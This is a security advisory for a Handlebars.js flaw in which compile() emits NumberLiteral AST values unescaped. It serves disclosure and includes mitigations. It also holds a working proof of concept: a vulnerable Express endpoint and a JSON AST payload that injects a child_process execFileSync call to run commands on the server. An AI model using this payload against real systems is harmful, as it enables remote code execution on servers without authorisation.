GHSA-2w6w-674q-4c4q

ghsaUSosv

Handlebars.js has JavaScript Injection via AST Type Confusion

view advisory published 2026-03-27Licence: CC-BY-4.0

## Summary `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. ## Description `Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim: ```javascript // Simplified representation of the vulnerable code path: // NumberLiteral.value is appended to the generated code without escaping compiledCode += numberLiteralNode.value; ``` Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands. Any endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable. ## Proof of Concept Server-side Express application that passes `req.body.text` to `Handlebars.compile()`: ```Javascript import express from "express"; import Handlebars from "handlebars"; const app = express(); app.use(express.json()); app.post("/api/render", (req, res) => { let text = req.body.text; let template = Handlebars.compile(text); let result = template(); res.send(result); }); app.listen(2123); ``` ``` POST /api/render HTTP/1.1 Content-Type: application/json Host: 127.0.0.1:2123 { "text": { "type": "Program", "body": [ { "type": "MustacheStatement", "path": { "type": "PathExpression", "data": false, "depth": 0, "parts": ["lookup"], "original": "lookup", "loc": null }, "params": [ { "type": "PathExpression", "data": false, "depth": 0, "parts": [], "original": "this", "loc": null }, { "type": "NumberLiteral", "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //", "original": 1, "loc": null } ], "escaped": true, "strip": { "open": false, "close": false }, "loc": null } ] } } ``` The response body will contain the output of the `id` command executed on the server. ## Workarounds - **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value. ```javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } ``` - Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.

01

describes (1)

Related CVEs.

IDseverity exploitable
CVE-2026-33937US—Exploit
Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition t…
02

references

External citations — patches, advisories, analysis.

scry

Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.

Free scan